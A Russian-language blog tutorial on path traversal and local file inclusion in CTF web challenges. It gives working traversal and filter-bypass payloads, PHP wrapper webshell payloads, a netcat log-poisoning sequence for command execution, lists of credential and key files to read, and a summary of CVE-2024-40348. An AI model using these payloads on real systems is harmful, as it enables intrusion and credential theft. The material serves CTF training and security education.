Главная / Блог / Path traversal уязвимость в CTF: от LFI до RCE

14 мин.00

Path traversal уязвимость в CTF: от LFI до RCE

Path traversal уязвимость в CTF: от LFI до RCE

Задача за 300 очков на CTF. Обработчик загрузок с параметром ?file=report.pdf и фильтром, который режет ../. Половина участников пробует ../../../etc/passwd, ловит 403 Forbidden и уходит к другому таску. А решение — одна строка: двойное URL-кодирование %252e%252e%252f проходит мимо фильтра, и /etc/passwd вываливается в ответе. Я видел этот сценарий на CTF раз десять — и каждый раз кто-то застревает.

Path traversal уязвимость — одна из самых частых в категории web на CTF и одна из самых недооценённых новичками. По статистике Positive Technologies, directory traversal входит в тройку наиболее эксплуатируемых атак на веб-приложения, сразу после SQL-инъекций. В этом разборе пройдём весь путь: от обнаружения точки входа до получения RCE через local file inclusion.

Path traversal и LFI уязвимость — в чём разница

Новички путают эти два термина постоянно. Разберёмся раз и навсегда. Подробнее — в нашем руководстве по создание ctf заданий.

Path traversal (она же directory traversal атака) — техника обхода каталогов. Атакующий использует последовательности ../ или абсолютные пути, чтобы выйти за пределы разрешённой директории и прочитать произвольные файлы на сервере. Приложение берёт параметр из URL, подставляет его в путь файловой системы без валидации — и вот уже можно читать всё, до чего дотягивается процесс веб-сервера. По классификации OWASP это A03:2021 — Injection: корень проблемы — отсутствие санитизации пользовательского ввода.

Local file inclusion (LFI) — уязвимость, при которой приложение подключает локальный файл через функции вроде include() или require() в PHP. Ключевое отличие: при LFI содержимое файла не просто читается — оно исполняется как код. Подключил файл с PHP-кодом через include() — сервер его выполнил. Именно поэтому LFI уязвимость опаснее: она открывает дорогу к Remote Code Execution.

Есть ещё Remote File Inclusion (RFI) — родственная штука, когда приложение подключает файл с удалённого сервера атакующего. RFI проще эксплуатировать (вы контролируете содержимое файла полностью), но встречается куда реже: по умолчанию allow_url_include в PHP выключен. На CTF RFI — скорее бонус, чем основной вектор.

По MITRE ATT&CK обе техники используются на этапе Initial Access через Exploit Public-Facing Application (T1190). Дальше атакующий переходит к File and Directory Discovery (T1083) и сбору Data from Local System (T1005). На практике в CTF-задачах path traversal и LFI часто идут в связке: сначала находите параметр для обхода каталогов, затем через LFI-техники эскалируете до выполнения кода.

Как обнаружить path traversal уязвимость в CTF

Точки входа и первые признаки

Path traversal прячется в функциональности, которая выглядит безобидно. По практическому руководству YesWeHack, наиболее частые паттерны уязвимого кода:

  • Скачивание файлов: /download?file=report.csv
  • Просмотр логов или отладки: /view-log?path=latest.log
  • Предпросмотр шаблонов: /preview?template=invoice.html
  • Выбор страницы: /index.php?page=about.php
  • Внутренние файловые API: POST с JSON-телом {"filename": "backup.tar.gz"}

Для тех кто в танке — ищите любой параметр, значение которого выглядит как имя файла или путь: file=, page=, path=, template=, doc=, img=, lang=, include=. Видите расширение (.php, .txt, .html) в значении параметра — это первый сигнал. Перехватите запрос через Burp Suite Proxy и изучите все параметры, включая cookies и заголовки.

Базовые path traversal payload'ы для проверки

Классический тест — чтение /etc/passwd на Linux. Файл доступен всем пользователям и содержит список учётных записей системы. По MITRE ATT&CK чтение этого файла — техника T1003.008 (/etc/passwd and /etc/shadow, Credential Access).

Начинайте с минимальной глубины и наращивайте количество ../:

  • ?file=../etc/passwd — один уровень вверх
  • ?file=../../etc/passwd — два уровня
  • ?file=../../../etc/passwd — три уровня
  • ?file=../../../../etc/passwd — четыре уровня
  • ?file=../../../../../etc/passwd — пять уровней

Количество ../ зависит от глубины рабочей директории приложения в файловой системе. Типичный путь — /var/www/html/uploads/, это четыре уровня. Лишние ../ не навредят: из корня файловой системы ../ ведёт обратно в корень.

Попробуйте и абсолютный путь напрямую: ?file=/etc/passwd. В некоторых фреймворках (например, при использовании os.path.join() в Python) абсолютный путь перезаписывает базовый путь целиком — читаем произвольный файл без единого ../. Забавный баг, кстати, — разработчики Python сами документировали это поведение, но мало кто читает доки.

Для Windows-задач используйте обратные слеши: ?file=..\..\..\..\windows\win.ini.

Если сервер возвращает содержимое файла (строки вида root:x:0:0:root:/root:/bin/bash) — path traversal уязвимость подтверждена. Если ответ — ошибка или пустая страница — переходим к обходу фильтров.

Обход фильтров: path traversal payload для байпаса защиты

Разработчики знают про ../ и ставят фильтры. Но большинство фильтров — blacklist-подход, и обход каталогов через кодирование или альтернативные последовательности остаётся стандартной техникой на CTF web уязвимостях.

URL-кодирование и двойное кодирование

Самый частый байпас. Если фильтр проверяет строку ../ до декодирования URL, закодированные варианты пройдут мимо:

Payload Описание Когда работает
%2e%2e%2f URL-кодированные точки и слеш Фильтр на уровне приложения до декодирования
%2e%2e/ Частичное кодирование (только точки) Фильтр ищет точную строку ../
..%2f Кодирован только слеш Фильтр ищет символ /
%252e%252e%252f Двойное кодирование Запрос проходит два слоя декодирования (Nginx + бэкенд)

Двойное кодирование работает в многослойных архитектурах: Nginx декодирует URL и передаёт его бэкенду на Node.js или Python, который декодирует повторно. Каждый слой снимает один уровень кодирования, и %252e превращается сначала в %2e, а затем в .. Две прокси — два декодирования — один обход.

В Burp Suite Repeater отправьте запрос с каждым вариантом и сравните ответы. Стандартный ../ возвращает 403, а %2e%2e%2f — 200? Фильтр работает на уровне строки до URL-декодирования. Поздравляю, вы внутри.

Null byte injection LFI

В PHP ниже 5.3.4 работает трюк с нулевым байтом %00. Типичная ситуация — приложение добавляет расширение к параметру:

<?php
$file = $_GET['page'];
include($file . ".php");
?>

Запрос ?page=../../../etc/passwd%00 заставляет интерпретатор обрезать строку на нулевом байте. PHP видит путь /etc/passwd, а не /etc/passwd.php. На современных версиях PHP вектор закрыт, но в CTF-задачах на старых стеках null byte injection LFI встречается регулярно — авторы тасков любят ретро.

Альтернативный обход того же фильтра — добавить ? в конец: ../../../etc/passwd?. Всё после знака вопроса интерпретируется как query-параметр и игнорируется при резолве пути.

Техника Версия PHP Предусловие
Null byte %00 < 5.3.4 Конкатенация расширения через $file . ".php"
Query string ? Любая Конкатенация расширения
Длинный путь (4096+ символов) < 5.3 Ограничение длины пути в файловой системе

Вложенные последовательности и альтернативные разделители

Если фильтр удаляет ../ нерекурсивно (один проход), используйте вложенную конструкцию: ....//....//....//etc/passwd. После удаления ../ из середины остаётся ../../../etc/passwd. Разработчик думает, что очистил ввод, а результат — ровно тот payload, который нужен. Один str_replace("../", "") без цикла — и фильтр бесполезен.

На Windows-серверах обратные слеши и прямые часто взаимозаменяемы: ..\..\..\windows\win.ini. Некоторые парсеры принимают оба типа разделителей, а фильтр проверяет только один.

Ещё приём — избыточные слеши: ./////./////.////etc////passwd. Нормализация путей в ОС уберёт дубликаты, но фильтр, привязанный к точному паттерну ../, их не распознает.

Для автоматизации перебора path traversal payload используйте ffuf с wordlist'ом из SecLists: ffuf -u "http://target/download?file=FUZZ" -w LFI-Jhaddix.txt -fc 403,404. Флаг -fc отфильтрует ответы с кодами 403 и 404, оставляя потенциально успешные результаты. В Burp Suite Intruder загрузите тот же wordlist и настройте grep на строку root: — удачные попытки подсветятся сами.

PHP wrapper LFI: чтение исходников и выполнение кода

PHP-обёртки потоков (wrappers) превращают LFI уязвимость из простого чтения файлов в полноценный RCE-вектор. На CTF web уязвимостях это один из ключевых навыков — без него дальше чтения /etc/passwd не уедешь.

php://filter — читаем PHP-файлы без исполнения

При подключении PHP-файла через include() он исполняется, и вы видите только результат (HTML-вывод). Чтобы прочитать исходный код, используйте обёртку php://filter с base64-кодированием:

?page=php://filter/convert.base64-encode/resource=index.php

Сервер вернёт base64-строку. Декодируйте: echo "PD9waHA..." | base64 -d — и получите чистый PHP-код. По MITRE ATT&CK декодирование — техника Deobfuscate/Decode Files or Information (T1140). Что это даёт:

  • Захардкоженные пароли, ключи API и конфигурации БД (на CTF — почти всегда)
  • Другие уязвимости в коде: SQL injection, command injection
  • Логику фильтрации — понимаете, как именно строить path traversal payload для обхода

Другие фильтры: string.rot13 иногда обходит WAF, ожидающий base64-паттерны. convert.iconv.UTF-8.UTF-7 используется в сложных цепочках фильтров для генерации произвольного контента.

data:// и php://input — прямой путь к RCE

Если в конфигурации PHP включена опция allow_url_include (по умолчанию выключена, но в CTF бывает включена — авторы тасков добрые), открывается прямой путь к выполнению кода:

  • data:// передаёт PHP-код прямо в URL: ?page=data:text/plain,<?php system($_GET['cmd']); ?>. Добавьте &cmd=id к URL и получите вывод команды id в ответе.
  • php://input читает тело POST-запроса. Отправьте POST с телом <?php system('whoami'); ?> на URL ?page=php://input.

Эти wrappers работают, потому что include() в PHP обрабатывает не только файловые пути, но и потоковые обёртки. Вы заставляете сервер исполнить произвольный PHP-код без записи файла на диск. Красиво, правда?

Wrapper Требование Что даёт
php://filter Нет Чтение исходного кода
data:// allow_url_include=On Исполнение произвольного кода
php://input allow_url_include=On Исполнение кода из тела запроса
file:// Нет Чтение файлов по абсолютному пути

LFI to RCE: log poisoning и /proc/self/environ

allow_url_include выключен и php wrapper LFI через data:// недоступен? Не проблема. Path traversal уязвимость всё равно может привести к RCE через отравление логов. Этот вектор чуть грязнее, но работает.

Отравление access.log

Бизнес-логика атаки: Apache и Nginx записывают в лог-файл данные из HTTP-запроса — URL, User-Agent, Referer. Если внедрить PHP-код в один из этих заголовков, а затем подключить лог через LFI — код исполнится сервером.

Шаг 1 — внедряем PHP-код в лог через netcat:

nc target.com 80
GET /<?php passthru($_GET['cmd']); ?> HTTP/1.1
Host: target.com
Connection: close

Шаг 2 — подключаем лог через LFI:

?page=../../../../../var/log/apache2/access.log&cmd=id

Apache записывает запрос в access.log вместе с PHP-тегом в URL. Когда include() подключает этот файл, PHP-движок исполняет встроенный код. Параметр cmd=id передаётся в passthru(), и вы видите результат выполнения команды id в ответе сервера. Шелл получен.

Альтернативный вариант — внедрить код через заголовок Referer или User-Agent. В Burp Suite Repeater замените значение User-Agent на <?php system($_GET['cmd']); ?> и отправьте обычный GET-запрос. Затем подключите лог через LFI.

Типичные пути к логам, которые стоит перебрать:

  • /var/log/apache2/access.log (Debian/Ubuntu)
  • /var/log/httpd/access_log (Red Hat/CentOS)
  • /var/log/nginx/access.log
  • /var/log/apache2/error.log — для error.log достаточно запросить несуществующую страницу с PHP-кодом в URL

/proc/self/environ и proc-файлы

На Linux файловая система /proc — настоящий кладезь информации о процессах. Файл /proc/self/environ содержит переменные окружения текущего процесса, разделённые нулевыми байтами. Если веб-сервер передаёт User-Agent в переменные окружения (как mod_cgi), можно внедрить PHP-код через заголовок User-Agent и подключить /proc/self/environ через LFI.

Другие proc-файлы, полезные на CTF:

  • /proc/self/cmdline — аргументы запуска процесса (иногда там пароли в открытом виде)
  • /proc/self/fd/N — файловые дескрипторы, перебирайте N от 0 до 20 для поиска временных файлов
  • /proc/self/cwd/ — символическая ссылка на рабочую директорию процесса
  • /proc/net/tcp — все TCP-соединения в hex-формате, помогает найти внутренние сервисы

Через /proc/self/environ нередко удаётся вытянуть секреты — токены API и пароли баз данных (Credentials In Files, T1552.001), которые передаются через переменные окружения. Для контейнеризированных приложений это особенно актуально: в Docker конфигурация почти всегда идёт через ENV.

Чек-лист файлов: уязвимости доступа к файлам на Linux и Windows

Когда path traversal уязвимость подтверждена, следующий шаг — выжать максимум. Вот систематизированный список файлов для CTF и пентеста.

Linux — системные файлы:

Файл Зачем нужен
/etc/passwd Список пользователей, домашние директории
/etc/shadow Хеши паролей (требует root)
/etc/hosts Внутренние имена хостов в сети
/etc/crontab Запланированные задачи (вектор для privesc)
/proc/version Версия ядра для подбора эксплойтов
/var/cache/locate/locatedb Индекс всех файлов в системе

Приватные ключи и учётные данные (T1552.004, Private Keys):

Файл Зачем нужен
/home/<user>/.ssh/id_rsa SSH-ключ для удалённого входа
/home/<user>/.bash_history История команд (пароли в аргументах)
/home/<user>/.mysql_history История SQL-запросов
/root/.ssh/authorized_keys Авторизованные ключи root

Веб-сервер и приложение:

Файл Зачем нужен
.env / config.php Пароли БД, API-ключи, секреты JWT
.htaccess Правила переписывания, ограничения доступа
/etc/apache2/apache2.conf Конфигурация Apache
/var/log/apache2/access.log Логи для log poisoning

Windows:

Файл Зачем нужен
c:\windows\win.ini Проверка наличия traversal
c:\boot.ini Конфигурация загрузки
c:\windows\system32\drivers\etc\hosts Внутренние хосты
c:\windows\repair\SAM Хеши паролей
c:\windows\panther\unattend.xml Пароли из автоустановки

Отдельный приём, который редко упоминается: файл /var/cache/locate/locatedb содержит бинарную базу утилиты locate с индексом всех файлов в системе. Стянув его через path traversal и обработав утилитой locate.findutils, вы получите полный список путей на сервере. Больше не нужно угадывать имена файлов вслепую.

CVE-2024-40348: реальная path traversal уязвимость в Bazarr

Теория — хорошо, но разбор реального CVE показывает, как уязвимости доступа к файлам работают в продакшн-софте. И как просто их бывает эксплуатировать.

CVE-2024-40348 — directory traversal в компоненте /api/swaggerui/static приложения Bazarr v1.4.3 (CWE-22: Improper Limitation of a Pathname to a Restricted Directory). Уязвимость позволяет неаутентифицированному атакующему читать произвольные файлы.

Характеристики из NVD:

  • CVSS: 8.2 (HIGH)
  • Вектор: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L
  • EPSS: 0.0822, percentile 0.9473 — Top 10% по вероятности эксплуатации в дикой природе

Разберём вектор: AV:N — атака по сети, AC:L — низкая сложность, PR:N — привилегии не требуются, UI:N — действие пользователя не нужно. Любой, кто имеет сетевой доступ к Bazarr, читает файлы без авторизации. Компонент C:H (высокое воздействие на конфиденциальность) подтверждает: атакующий получает доступ ко всем файлам, доступным процессу.

По данным CISA Vulnrichment, для уязвимости существует публичный PoC, атака автоматизируема, техническое воздействие частичное (чтение без записи). На GitHub доступен PoC-репозиторий bigb0x/CVE-2024-40348 (31 звезда), демонстрирующий чтение /etc/passwd с уязвимого сервера. Есть и готовый шаблон Nuclei для автоматического сканирования: http/cves/2024/CVE-2024-40348.yaml.

Эта уязвимость — типичный пример: endpoint для отдачи статики Swagger UI не проверяет пользовательский ввод на traversal-последовательности. Endpoint, который выглядит безобидно, открывает доступ ко всей файловой системе. Swagger UI — последнее место, где ждёшь дыру, но именно там она и сидит.

Пошаговый алгоритм решения CTF-задачи на directory traversal

Когда на CTF подозреваете path traversal уязвимость, действуйте по алгоритму:

  1. Найдите параметр. Ищите file=, page=, path=, template=, lang= в URL, POST-теле, cookies. Перехватите все запросы через Burp Suite Proxy и проанализируйте каждый параметр, содержащий что-то похожее на путь к файлу.

  2. Попробуйте базовый traversal. Отправьте ../../../../etc/passwd через Burp Repeater. Если в ответе root:x:0:0: — уязвимость подтверждена, переходите к шагу 5.

  3. Попробуйте абсолютный путь. Отправьте /etc/passwd напрямую. Некоторые фреймворки (Python os.path.join(), .NET Path.Combine()) перезаписывают базовый путь при получении абсолютного аргумента.

  4. Обойдите фильтр. Перебирайте варианты в порядке частоты срабатывания: URL-кодирование (%2e%2e%2f), вложенные последовательности (....//), двойное кодирование (%252e%252e%252f), null byte (%00), обратные слеши (..\..). Используйте ffuf с wordlist'ом traversal.txt из SecLists для автоматизации.

  5. Определите стек. Если сервер на PHP — пробуйте php://filter/convert.base64-encode/resource=index.php для чтения исходного кода. Из исходников узнаете, как работает фильтр, где лежат конфиги и какие ещё дыры есть.

  6. Эскалируйте до RCE. Проверьте data://text/plain,<?php phpinfo(); ?>. Работает — allow_url_include включён, и RCE через system() тривиален. Не работает — пробуйте log poisoning через User-Agent и подключение /var/log/apache2/access.log.

  7. Извлеките флаг. На CTF флаг может лежать в /flag.txt, /flag, /home/ctf/flag, /root/flag или в переменных окружения (/proc/self/environ). Проверяйте все стандартные расположения.

Каждый шаг требует анализа ответа сервера. Обращайте внимание не только на код 200: содержимое файла иногда возвращается с кодом 500 (ошибка при парсинге), а различие в размере ответа между существующим и несуществующим файлом — тоже индикатор.

Большинство новичков на CTF застревают на path traversal по одной причине: пробуют один payload, получают отказ и уходят к другой задаче. Это главная ошибка. Path traversal уязвимость — не один запрос, а методичный перебор техник обхода. Фильтр, который кажется непробиваемым, часто ломается от двойного кодирования или вложенных последовательностей. Раз за разом на CTF-площадках вижу задачи, где защита строится на единственном str_replace("../", "") без рекурсии — один ....// внутри удаляемой последовательности, и фильтр бесполезен.

Что критично понимать: local file inclusion эксплуатация — это не «прочитать /etc/passwd и сделать скриншот». Это первый шаг в цепочке. Прочитал конфиг — достал пароль БД. Прочитал исходник — нашёл SQL injection. Отравил лог — получил шелл. Каждая ступень открывает следующую, и атакующий, освоивший эту эскалацию, получает полную компрометацию сервера из одного непроверенного параметра. Path traversal выглядит как безобидное чтение файла — а на деле это начало полной цепочки от Initial Access до Credential Access и Remote Code Execution.

Если после этого разбора хочется не просто читать про payload'ы, а разобраться в основах безопасности системно — на IB Basics в Codeby School проходят базу от сетей до веб-уязвимостей, без предварительных требований к уровню подготовки.

🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».

Поделиться

0 комментариев

Пожалуйста, войдите, чтобы оставить комментарий.

Загрузка комментариев...

Читайте также

Анализ PCAP файлов: пароли и файлы из дампа

9 мин.

4

Анализ PCAP файлов: пароли и файлы из дампа

Пошаговый разбор извлечения паролей и файлов из PCAP-дампов: Wireshark, tshark, BruteShark. Готовые команды и фильтры для forensics-тасков CTF.

5 ОКТЯБРЬ, 2026

Burp Suite с нуля: настройка и первые CTF-таски

14 мин.

13

Burp Suite с нуля: настройка и первые CTF-таски

Пошаговая настройка Burp Suite: прокси, сертификат, FoxyProxy, Repeater и Intruder. Разбираем реальный веб-таск CTF от первого запроса до флага

5 ОКТЯБРЬ, 2026

Insecure Deserialization в CTF: PHP и Python

12 мин.

6

Insecure Deserialization в CTF: PHP и Python

Пошаговый разбор insecure deserialization в CTF: gadget chains PHP (CVE-2020-15148, phpggc), pickle RCE в Python, black-box брутфорс и PHAR-вектор

4 ОКТЯБРЬ, 2026